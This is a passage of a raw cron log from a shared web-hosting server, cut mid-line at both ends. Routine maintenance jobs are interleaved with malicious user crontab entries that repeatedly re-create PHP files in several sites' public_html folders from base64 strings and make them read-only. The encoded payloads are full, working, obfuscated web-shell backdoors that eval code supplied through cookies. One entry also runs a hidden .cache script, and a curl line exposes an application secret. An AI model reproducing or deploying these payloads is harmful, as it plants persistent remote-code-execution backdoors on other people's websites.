ATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:13:01 medusa CROND[21735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:13:02 medusa CROND[21964]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:13:02 medusa CROND[21965]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:13:02 medusa CROND[21966]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:13:02 medusa CROND[21971]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:13:02 medusa CROND[21976]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:13:02 medusa CROND[21977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:13:02 medusa CROND[21978]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:13:02 medusa CROND[21980]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:13:02 medusa CROND[21982]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:13:02 medusa CROND[21984]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 05:13:02 medusa CROND[21985]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:13:02 medusa CROND[21986]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 05:13:02 medusa CROND[21992]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:14:01 medusa CROND[8089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:14:01 medusa CROND[8090]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:14:01 medusa CROND[8091]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:14:01 medusa CROND[8092]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:14:01 medusa CROND[8093]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:14:01 medusa CROND[8094]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:14:01 medusa CROND[8095]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:14:01 medusa CROND[8096]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:14:01 medusa CROND[8097]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:14:01 medusa CROND[8104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:14:01 medusa CROND[8111]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:14:01 medusa CROND[8115]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:14:01 medusa CROND[8103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22307]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:15:01 medusa CROND[22344]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:15:01 medusa CROND[22563]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:15:01 medusa CROND[22564]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:15:01 medusa CROND[22567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22569]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:15:01 medusa CROND[22570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:15:01 medusa CROND[22572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:15:01 medusa CROND[22571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:15:01 medusa CROND[22576]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:15:01 medusa CROND[22573]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:15:01 medusa CROND[22574]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:15:01 medusa CROND[22581]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRf